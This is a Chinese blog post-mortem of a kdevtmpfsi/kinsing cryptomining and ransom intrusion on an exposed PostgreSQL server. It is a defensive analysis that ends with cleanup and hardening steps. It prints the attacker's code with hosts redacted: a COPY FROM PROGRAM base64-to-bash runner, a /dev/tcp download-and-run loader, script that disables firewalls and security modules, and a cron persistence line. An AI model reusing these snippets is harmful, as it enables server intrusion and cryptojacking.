服务器被挖矿勒索病毒 kdevtmpfsi 入侵的复盘分析及解决方案

文章原文：https://owo.cab/217 ，同步发表在 xLog

异常发现

11 月 8 日下午，有小伙伴告诉我某服务异常，表现为后端程序报错与 PostgreSQL 查询相关。由于使用了 CDN 且仅配置了 HTTP 服务监控告警，因此并未在第一时间收到异常告警。

通过 SSH 连接服务器，使用 htop 命令查看正在运行的所有进程，发现 /tmp/kdevtmpfsi 进程高占用，运行用户为 postgres。

尝试结束该可疑进程，发现该程序会在 1 分钟内再次启动，猜测配置了定时任务或存在守护程序。

在云计算平台查看资源监视，该病毒于 UTC 11-7 16:15（北京时间 11-8 0:15）左右开始运行。

由于该病毒占用资源过多造成服务器性能下降，且位于 /tmp 目录下，因此对服务器进行重启以临时缓解。

重启服务器后连接 PostgreSQL 数据库发现所有的数据已被删除，同时入侵者创建了一个名为 readme_to_recover 的数据库，内容如下：

很显然，服务器受到了勒索，入侵者针对 PostgreSQL 数据库实施入侵行为，同时利用服务器资源进行挖矿，造成服务器卡顿和服务崩溃。

入侵者的网站已在 archive.org 存档，链接 https://web.archive.org/web/20251108155042/https://2info.win/psg/，请谨慎访问

从服务器创建到被侵入仅 8 小时，好在还在部署阶段，没有重要数据（离谱

复盘与分析

本节列出的所有命令与脚本请勿运行，部分数据已进行脱敏处理

先贴一下事故服务器的情况：

Ubuntu 24.04 LTS，运行在 Oracle Cloud

仅允许 SSH 密钥登录

端口全开

安装了宝塔面板，PostgreSQL 使用宝塔安装

PostgreSQL 允许所有地址使用密码连接，且未对 PG 的登录配置日志

不难看出这起事故的导火索（因为还在部署阶段就没太注意，我反思）

进程

病毒的二进制文件在重启后已被临时清除，为了弄清病毒的入侵和运作方式，我并没有对服务器进行任何操作和加固，而是维持原样运行，等待病毒再次出现。

不出意外，在 11 月 9 日的 0:14 左右，服务器 CPU 占用再次来到了 100%。

查看 /tmp 目录，存在两个二进制文件，如下：

两个程序的所有者均为 postgres，其中 kdevtmpfsi 权限 700，创建时间 UTC 16:14；kinsing 权限 777 ，创建时间 UTC 16:11，略早于 kdevtmpfsi。

同时，我下载了一份病毒样本备用：

使用 ps -ef 命令查找两个进程，如下：

从进程信息来看，kdevtmpfsi 的运行时间在增长（从 06:25:29 变为 06:26:17），而 kinsing 的运行时间在一段时间内几乎保持不变（为 00:00:04），二者的 PPID 均为 1。

稍微熟悉 Linux 的小伙伴不难看出，kdevtmpfsi 持续占用 CPU 时间，为挖矿主程序；kinsing 占用 CPU 时间较少，为 kdevtmpfsi 的守护程序。同时，父进程 ID 为 1 说明二者原始父进程已经终止，转为孤儿进程，由 systemd 进程接管。

但不管怎么说，systemctl 又不是摆设，直接通过 sudo systemctl status <pid> 来查看启动链：

怎么和 postgres 进程一起启动了，再看看。

使用 sudo crontab -u postgres -l 命令查看 postgres 用户的定时任务：

该定时任务设置为每分钟执行一次，使用 wget 工具在静默模式（-q）下载至标准输出（-O -），并通过管道（|）传递给 sh 直接运行，将脚本的运行输出和系统邮件丢弃（> /dev/null 2>&1），以此实现执行信息的隐藏。

在 syslog 中查找相关进程的调用记录，只能找到定时任务相关的记录。

但当我尝试访问该网址时出现 502 错误，只好暂时放弃。

入侵方式

使用 sudo last postgres 命令查看 postgres 用户的登录情况，发现输出为空，说明不是通过 postgres 系统用户的弱口令入侵的。同时，运行在 postgres 用户的服务只有 PostgreSQL。

只有一种可能了。

从 /www/server/pgsql/logs 目录找到了 PostgreSQL 的执行日志，在日志中发现了异常。

这份虽不完整的日志反映了服务器被侵入的全过程，可以将入侵者的操作分为 5 个步骤：

服务探测

入侵者配置了自动工具，对某一特定 IP 段的服务器端口使用 nmap 工具进行扫描，查找符合 5432 端口开放的服务器，并尝试使用空凭证连接，确认 5432 端口上运行的是 PostgreSQL；

成功入侵

入侵者通过爆破弱口令密码 / 无密码成功连接后，通过尝试访问不存在的数据库 bbbbbbb 和执行大量的 SELECT VERSION(); 来确保已经完成登录，并收集数据库信息以查找漏洞；

破坏数据库

入侵者先列出所有数据库，再依次通过 information_schema.tables 获取表。对于每张表先从 information_schema.columns 获取列数，再使用 SELECT * FROM ... LIMIT 50 来读取表数据，读取后通过 DROP TABLE IF EXISTS ... CASCADE 彻底删除表信息，最终删除原有数据库并写入勒索信息；

提权

入侵者创建了一个 pgg_superadmins 的超级管理员，随后尝试 ALTER USER postgres WITH NOSUPERUSER 命令来撤销 postgres 用户的超级管理员权限，但因为 postgres 为数据库的初始化用户而被阻止；

植入病毒

PostgreSQL 的 COPY ... FROM PROGRAM 命令允许读取系统命令输出到表中，因此被入侵者用于执行脚本。

Copy
DROP TABLE IF EXISTS bwyeLzCF;
CREATE TABLE bwyeLzCF(cmd_output text);
COPY bwyeLzCF FROM PROGRAM 'echo ... | base64 -d | bash';
SELECT * FROM bwyeLzCF;
DROP TABLE IF EXISTS bwyeLzCF;

入侵者使用新建的 pgg_superadmins 创建了一个临时表 bwyeLzCF ，表中仅有 cmd_output 一个类型为 text 的字段，用于承载脚本的输出。echo ... | base64 -d | bash 将 Base64 编码的脚本解码后立即运行，运行成功后删除表 bwyeLzCF 销毁痕迹。

对于核心脚本，Base64 解密后得到如下内容：

Copy
#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd

function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80

exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}

if [ -x "$(command -v curl)" ]; then
curl .../pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
wget -q -O- .../pg.sh|bash
else
__curl http://.../pg2.sh|bash
fi

这段脚本在运行时会先通过 pkill 命令终止竞争程序，随后下载并运行脚本。入侵者为了能在缺失 curl 和 wget 的环境中运行，甚至在 __curl 函数中直接通过 TCP 协议发送 HTTP 请求。

脚本分析

由于该脚本过长且具有风险性，在这里仅对部分片段进行分析。

入侵准备

Copy
# 关闭防火墙
ufw disable
iptables -F

# 移除 root 用户的 SSH 密钥属性
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys

# 结束符合条件的进程（注意这里 postgres 的 o）
for filename in /proc/*; do
ex=$(ls -latrh $filename 2> /dev/null|grep exe)
if echo $ex |grep -q "/tmp/.perf.c\|/var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
result=$(echo "$filename" | sed "s/\/proc\///")
kill -9 $result
echo found $filename $result
fi

if echo $ex |grep -q "/usr/local/bin/postgres"; then
cw=$(ls -latrh $filename 2> /dev/null|grep cwd)
if echo $cw |grep -q "/tmp"; then
result=$(echo "$filename" | sed "s/\/proc\///")
kill -9 $result
echo foundp $filename $result
fi

fi
done

# 针对性卸载阿里云与腾讯云监控
if ps aux | grep -i '[a]liyun'; then
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi

# 关闭内核硬件监控 NMI Watchdog
sudo sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf

# 按网络连接结束符合条件的进程（或其他挖矿程序）
netstat -anp | grep ... | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
pkill -f ...

# 按特征进程结束符合条件的进程（或其他挖矿程序）
ps aux | grep -v grep | grep ... | awk '{print $2}' | xargs -I % kill -9 %
pgrep -f ... | xargs -I % kill -9 %

# 删除其他挖矿程序
rm -rf ...

# 移除 Docker 中存在其他挖矿程序的容器和镜像
docker ps | grep ... | awk '{print $1}' | xargs -I % docker kill %
docker images -a | grep ... | awk '{print $3}' | xargs -I % docker rmi -f %

# 禁用系统安全机制
setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor

脚本先关闭防火墙，随后卸载云监控软件以防止被发现，移除竞争程序避免与 kdevtmpfsi 抢占资源，最终禁用 SELinux 和 AppArmor 安全机制。

加载挖矿程序

Copy
# 针对不同架构下载对应的程序
BIN_MD5="b3039abf2ad5202f4a9363b418002351"
BIN_DOWNLOAD_URL="http://.../kinsing"
BIN_DOWNLOAD_URL2="http://.../kinsing"
BIN_NAME="kinsing"

arch=$(uname -i)
if [ $arch = aarch64 ]; then
BIN_MD5="da753ebcfe793614129fc11890acedbc"
BIN_DOWNLOAD_URL="http://.../kinsing_aarch64"
BIN_DOWNLOAD_URL2="http://.../kinsing_aarch64"
echo "arm executed"
fi

在下载前根据架构选择了对应的二进制下载地址，同时根据如下优先级确定了下载位置（该部分代码已省略）：

/etc，该目录需要 root 权限

/tmp

/var/tmp

创建临时目录 mktemp -d

/dev/shm

Copy
# 用于校验 MD5 的函数
checkExists() {
CHECK_PATH=$1
MD5=$2
sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
retval=""
if [ "$MD5" = "$sum" ]; then
echo >&2 "$CHECK_PATH is $MD5"
retval="true"
else
echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
retval="false"
fi
echo "$retval"
}

# 用于下载的函数
download() {
DOWNLOAD_PATH=$1
DOWNLOAD_URL=$2
if [ -L $DOWNLOAD_PATH ]
then
rm -rf $DOWNLOAD_PATH
fi
chmod 777 $DOWNLOAD_PATH
$WGET $DOWNLOAD_PATH $DOWNLOAD_URL
chmod +x $DOWNLOAD_PATH
}

# 检查文件是否存在，不存在则下载
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH exists and checked"
else
echo "$BIN_FULL_PATH not exists"
rm -rf $BIN_FULL_PATH
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH after download exists and checked"
else
echo "$BIN_FULL_PATH after download not exists"
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" = "true" ]; then
echo "$BIN_FULL_PATH after download2 exists and checked"
else
echo "$BIN_FULL_PATH after download2 not exists"
fi
fi
fi

运行和持久化

Copy
chmod 777 $BIN_FULL_PATH
chmod +x $BIN_FULL_PATH
SKL=pg $BIN_FULL_PATH

crontab -l | sed '/#wget/d' | crontab -
crontab -l | sed '/#curl/d' | crontab -
crontab -l | grep -e "..." | grep -v grep
if [ $? -eq 0 ]; then
echo "cron good"
else
(
crontab -l 2>/dev/null
echo "* * * * * $LDR http://.../pg.sh | sh > /dev/null 2>&1"
) | crontab -
fi

先给目标二进制文件（$BIN_FULL_PATH）赋予最高权限，确保可以被运行，随后向定时任务中加入一条每分钟执行一次的命令，以此完成持久化，这也是上文看到的加载在 postgres 用户的那条定时任务。

二进制分析

程序特征

使用 Radare2 查看二进制文件原始信息，结果如下：

特征 | kdevtmpfsi | kinsing
架构（arch） | ARM aarch64 | ARM aarch64
二进制类型（bintype） | ELF | ELF
大小（binsz） | ~2.4MB | ~6MB
开发语言（lang） | C | Go
静态链接（static） | 是 | 是
符号表（stripped） | 已剥离 | 已剥离
保护机制 | NX 启用，无 RELRO、Canary | 同左

使用 WinHex 查看 kdevtmpfsi 文件，不难找出 UPX 的特征

使用 UPX 脱壳后再次查看，结果如下：

与脱壳前不同，出现了如下内容：

Copy
compiler GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
relro: no -> partial

kdevtmpfsi

通过查找关键字符串 http 快速定位到门罗币相关内容：

Copy
[0x00402e00]> izz | grep -i "http"
18331 0x003e2b60 0x007e2b60 4 5 .rodata ascii http
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
20113 0x003fa478 0x007fa478 19 20 .rodata ascii https proxy request
20114 0x003fa490 0x007fa490 12 13 .rodata ascii http request
23162 0x00414058 0x00814058 5 6 .rodata ascii https
25219 0x0042ed70 0x0082ed70 16 17 .rodata ascii parse_http_line1
25224 0x0042edf0 0x0082edf0 16 17 .rodata ascii %s %s HTTP/1.0\r\n
29745 0x004511b0 0x008511b0 104 105 .rodata ascii not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):\n
30005 0x00453698 0x00853698 437 438 .rodata ascii GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.\nCopyright (C) 2022 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 11.2.0.\nlibc ABIs: UNIQUE ABSOLUTE\nFor bug reporting instructions, please see:\n<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
30991 0x0045dbd8 0x0085dbd8 120 121 .rodata ascii TLS generation counter wrapped! Please report as described in <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n

随后查找 monero\|xmr：

Copy
[0x00402e00]> izz | grep -i "monero\|xmr"
18114 0x003e1180 0x007e1180 20 21 .rodata ascii cryptonight-monerov7
18117 0x003e11b8 0x007e11b8 20 21 .rodata ascii cryptonight-monerov8
18173 0x003e1547 0x007e1547 4 5 .rodata ascii lXMR
18174 0x003e1550 0x007e1550 6 7 .rodata ascii Monero
18187 0x003e1600 0x007e1600 27 28 .rodata ascii \e[43;1m\e[1;37m monero \e[0m
18310 0x003e27e0 0x007e27e0 415 416 .rodata ascii \n{\n "background": true,\n "donate-level": 0,\n "cpu": true,\n "colors": false,\n "opencl": false,\n "pools": [\n {\n "coin": "monero",\n "algo": null,\n "url": "xmr-eu1.nanopool.org",\n "user": "4...b",\n "pass": "mine",\n "tls": false,\n "keepalive": true,\n "nicehash": false\n }\n ]\n}\n
18315 0x003e2a08 0x007e2a08 5 6 .rodata ascii XMRig
18391 0x003e3030 0x007e3030 12 13 .rodata ascii XMRig 6.16.4
18396 0x003e3090 0x007e3090 33 34 .rodata ascii Usage: xmrig [OPTIONS]\n\nNetwork:\n
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18415 0x003e3658 0x007e3658 72 73 .rodata ascii --donate-over-proxy=N control donate over xmrig-proxy feature\n
18460 0x003e4380 0x007e4380 43 44 .rodata ascii XMRig 6.16.4\n built on Jul 30 2023 with GCC
18597 0x003e5be8 0x007e5be8 34 35 .rodata ascii stratum+tcp://xmr-eu1.nanopool.org
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
18860 0x003f01b8 0x007f01b8 20 21 .rodata ascii donate.ssl.xmrig.com
18861 0x003f01d0 0x007f01d0 19 20 .rodata ascii donate.v2.xmrig.com
19355 0x003f4d70 0x007f4d70 5 6 .rodata ascii xmrig

该程序连接地址为 xmr-eu1.nanopool.org 的矿池，收益地址为 4...b。

kinsing

接下来，我们来看看 kinsing 这个 Go 语言程序是如何实现进程守护的。

在 IDA 中先查找与 kdevtmpfsi 相关的字符串，但无法找到相关引用。

再查找与命令执行相关的函数：

Copy
[0x000789e0]> iz | grep -E "process|pid|exec|kill"
75 0x002a074c 0x002b074c 4 5 .rodata ascii Ppid
199 0x002a0a34 0x002b0a34 4 5 .rodata ascii kill
887 0x002a23d1 0x002b23d1 8 9 .rodata ascii \aos/exec
1086 0x002a2afa 0x002b2afa 8 9 .rodata ascii \aexecute
1608 0x002a3ef1 0x002b3ef1 10 11 .rodata ascii \t*exec.Cmd
2379 0x002a6201 0x002b6201 12 13 .rodata ascii \v*exec.Error
2873 0x002a7bf9 0x002b7bf9 13 14 .rodata ascii \fprocessFlags
3307 0x002a9902 0x002b9902 14 15 .rodata ascii Pid\njson:"pid"
3424 0x002aa07c 0x002ba07c 15 16 .rodata ascii *exec.ExitError
3523 0x002aa70f 0x002ba70f 15 16 .rodata ascii PpidWithContext
3675 0x002ab16c 0x002bb16c 16 17 .rodata ascii *process.Process
4588 0x002afaca 0x002bfaca 22 23 .rodata ascii *process.OpenFilesStat
4631 0x002afe42 0x002bfe42 22 23 .rodata ascii processCertsFromClient
4656 0x002b00b8 0x002c00b8 23 24 .rodata ascii *exec.prefixSuffixSaver
4680 0x002b0310 0x002c0310 23 24 .rodata ascii *process.MemoryInfoStat
4681 0x002b0329 0x002c0329 23 24 .rodata ascii *process.PageFaultsStat
4682 0x002b0342 0x002c0342 23 24 .rodata ascii *process.SignalInfoStat
4787 0x002b0d4e 0x002c0d4e 24 25 .rodata ascii processClientKeyExchange
4788 0x002b0d68 0x002c0d68 24 25 .rodata ascii processServerKeyExchange
4942 0x002b1d47 0x002c1d47 28 29 .rodata ascii \e*process.NumCtxSwitchesStat
5168 0x002b36f9 0x002c36f9 35 36 .rodata ascii "github.com/shirou/gopsutil/process
5233 0x002b4057 0x002c4057 22 23 .rodata ascii json:"pending_process"
5340 0x002b522a 0x002c522a 48 49 .rodata ascii /*struct { F uintptr; pw *os.File; c *exec.Cmd }
...

其中 exec.Cmd 是 Go 执行命令调用的函数，而 github.com/shirou/gopsutil 是 Python 中 psutil 的 Go 语言实现，用于获取系统信息，由此判断 kinsing 可能存在执行系统命令的行为。

emm... 似乎弄复杂了，我们来看看有没有简单一些的方法。

我先将 kinsing 放在 ~/ 目录下，在 ubuntu 用户下使用 strace 对 kinsing 及其子进程进行跟踪：

Copy
strace -f -e execve,kill,open,read,nanosleep -o log.txt ./kinsing

在一个新的终端中结束 kdevtmpfsi，等待 kinsing 将其再次启动：

Copy
pkill -f kdevtmpfsi

kdevtmpfsi 再次启动时结束 strace 跟踪，并在日志中查找 kinsing 执行的相关命令：

Copy
$ cat log.txt | grep -E "kdevtmpfsi|execve|kill"

66871 execve("./kinsing", ["./kinsing"], 0xffffee10cf68 /* 22 vars */) = 0
66875 execve("./kinsing", ["./kinsing"], 0x40001f8240 /* 23 vars */) = 0
66879 <... read resumed>"Name:\tkinsing\nUmask:\t0002\nState:"..., 4096) = 1187
66879 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66879 read(7, "8816 (kdevtmpfsi) S 1 8816 8816 "..., 512) = 195
67160 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002783c0 /* 23 vars */) = 0
67160 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xb925af1d5e80 /* 23 vars */) = 0
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67160 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1170
67160 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67160 read(5, "67160 (pkill) R 66875 66868 6558"..., 2048) = 319
67160 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67160 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67160 kill(67125, SIGTERM) = -1 EPERM (Operation not permitted)
66878 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 56
66878 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66878 read(7, "67125 (kdevtmpfsi) S 1 67125 671"..., 512) = 183
67405 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002946c0 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xbf12fcc0ee80 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(5, "8323 (kinsing) S 1 4560 4560 0 -"..., 2048) = 205
67405 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67405 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1171
67405 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67405 read(5, "67405 (pkill) R 66875 66868 6558"..., 2048) = 319
67405 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67405 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67405 kill(67125, SIGTERM) = -1 EPERM (Operation not permitted)
66877 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 57
67408 execve("/usr/bin/sh", ["sh", "-c", "chmod +x /tmp/kdevtmpfsi33550091"...], 0x40002786c0 /* 23 vars */ <unfinished ...>
67408 <... execve resumed>) = 0
67408 execve("/usr/bin/chmod", ["chmod", "+x", "/tmp/kdevtmpfsi3355009150"], 0xb1ef30c68e90 /* 23 vars */) = 0
67409 execve("/usr/bin/sh", ["sh", "-c", "/tmp/kdevtmpfsi3355009150 &"], 0x4000278cc0 /* 23 vars */ <unfinished ...>
67409 <... execve resumed>) = 0
67410 execve("/tmp/kdevtmpfsi3355009150", ["/tmp/kdevtmpfsi3355009150"], 0xbf99e2dd4e90 /* 23 vars */ <unfinished ...>
67410 <... execve resumed>) = 0
66883 read(8, "67411 (kdevtmpfsi33550) S 1 6741"..., 512) = 287
66883 read(8, "Name:\tkdevtmpfsi33550\nUmask:\t000"..., 512) = 512
66883 read(8, "/tmp/kdevtmpfsi3355009150\0", 512) = 26
67416 +++ killed by SIGKILL +++
67415 +++ killed by SIGKILL +++
67414 +++ killed by SIGKILL +++

那么这个 /tmp/kdevtmpfsi3355009150 是怎么出现的呢，在日志中查找 http 连接相关信息：

Copy
$ cat log.txt | grep -E "http"

67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39

此时，kinsing 的逻辑已经水落石出，它的监控逻辑由四部分组成：

监控进程：通过 read 读取进程信息，检测 kdevtmpfsi 是否存在；

结束已存在的进程：通过 sh -c "pkill -f kdevtmpfsi" 命令，尝试结束已存在的 kdevtmpfsi 进程；

下载挖矿程序：若 kdevtmpfsi 不存在，则执行前文出现的初始化脚本下载挖矿程序到 /tmp 目录下，这里 kdevtmpfsi 带随机数后缀是因为目录下已存在不可读写的同名文件；

启动挖矿程序：通过 sh -c "/tmp/kdevtmpfsiXXXX &" 命令静默式启动挖矿程序。

回到 IDA 中，再次进行相关查找，发现先前被忽略掉的 /var/tmp/kdevtmpfsi 字符串在 main.minerRunningCheck 被引用：

main.minerRunningCheck 函数存在自身循环，那么基本上可以确定该函数就是进程守护的主要逻辑。

对该函数展开分析，发现该函数除自身循环外，还调用了 main.getMinerPid、main.isMinerRunning、main.minRun 等函数：

在 main.minRun 中找到了 strace 日志中出现的内容：

也发现 kinsing 内置了一个下载运行工具：

一切都理清了。

解决方案

被删除的数据库无法恢复，只能通过备份还原

基于对侵入流程的复盘，我总结出如下解决方案：

请在执行前建立系统快照

删除可疑定时任务

临时禁用定时任务以防止二次感染：

Copy
sudo systemctl stop cron
sudo systemctl stop crond
sudo service cron stop
sudo service crond stop

编辑 postgres 用户的定时任务：

Copy
sudo crontab -u postgres -e

随后再次查看定时任务，确保可疑项已被清除：

Copy
sudo crontab -u postgres -l

取消病毒文件的读写和执行权限

Copy
sudo chmod 000 /tmp/kdevtmpfsi /tmp/kinsing

终止相应进程

Copy
sudo pkill -9 -f kinsing
sudo pkill -9 -f kdevtmpfsi

删除病毒文件

全盘查找文件名包含 kinsing 和 kdevtmpfsi 的文件并删除

Copy
sudo find / -name "*kdevtmpfsi*" -delete
sudo find / -name "*kinsing*" -delete

删除可疑 PostgreSQL 用户

使用管理员用户登录数据库：

Copy
sudo psql -U postgres

随后执行以下 SQL 语句：

Copy
# 查找 pgg_superadmins 是否存在
SELECT usename FROM pg_user WHERE usename='pgg_superadmins';

# 移除权限
REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM pgg_superadmins;
REVOKE ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public FROM pgg_superadmins;
REVOKE ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public FROM pgg_superadmins;

# 移除用户
REASSIGN OWNED BY pgg_superadmins TO postgres;
DROP OWNED BY pgg_superadmins;
DROP ROLE pgg_superadmins;

# 为 postgres 赋予超级用户
ALTER USER postgres WITH SUPERUSER;

重启服务器

Copy
sudo reboot

恢复属性保护

Copy
sudo chattr +i /etc/passwd
sudo chattr +i /etc/shadow
sudo chattr +i /etc/group
sudo chattr +i /etc/gshadow
sudo chattr +i /etc/ssh/sshd_config
sudo chattr +i /root/.ssh/authorized_keys

加固 PostgreSQL

查找 postgresql.conf 是否存在如下项：

Copy
listen_addresses = '*'

查找 pg_hba.conf 是否存在如下项：

Copy
host all all 0.0.0.0/0 md5
host all all ::0/0 md5

host all all 0.0.0.0/0 trust
host all all ::0/0 trust

如有，应立即修改或删除。例如仅允许 Docker 容器连接：

Copy
host all all 172.17.0.0/16 md5

加固服务器

对 /tmp 目录进行加固：

Copy
sudo mount -o remount,noexec,nosuid,nodev /tmp

建立防火墙规则（根据实际需求修改）：

Copy
# 允许已建立的连接
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 允许本地回环
sudo iptables -A INPUT -i lo -j ACCEPT

# 允许SSH
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# 保存并生效
sudo service iptables save
sudo systemctl enable iptables

恢复 SELinux 或 AppArmor

Copy
# 对 SELinux 系统（CentOS/RHEL）
sudo sed -i 's/SELINUX=disabled/SELINUX=permissive/' /etc/selinux/config

# 对 AppArmor 系统（Ubuntu/Debian）
sudo systemctl enable apparmor
sudo systemctl start apparmor
sudo systemctl reload apparmor

重启，再次观察验证

Copy
sudo reboot

需注意，该解决方法只适用于临时处理和加固，建议尽快对数据和服务进行迁移重建。同时做好服务器日常维护和监控，避免敏感服务端口直接暴露于公网，不要在 SSH 和数据库使用弱口令密码。在保证服务正常运行的情况下，将账号权限收缩到最小。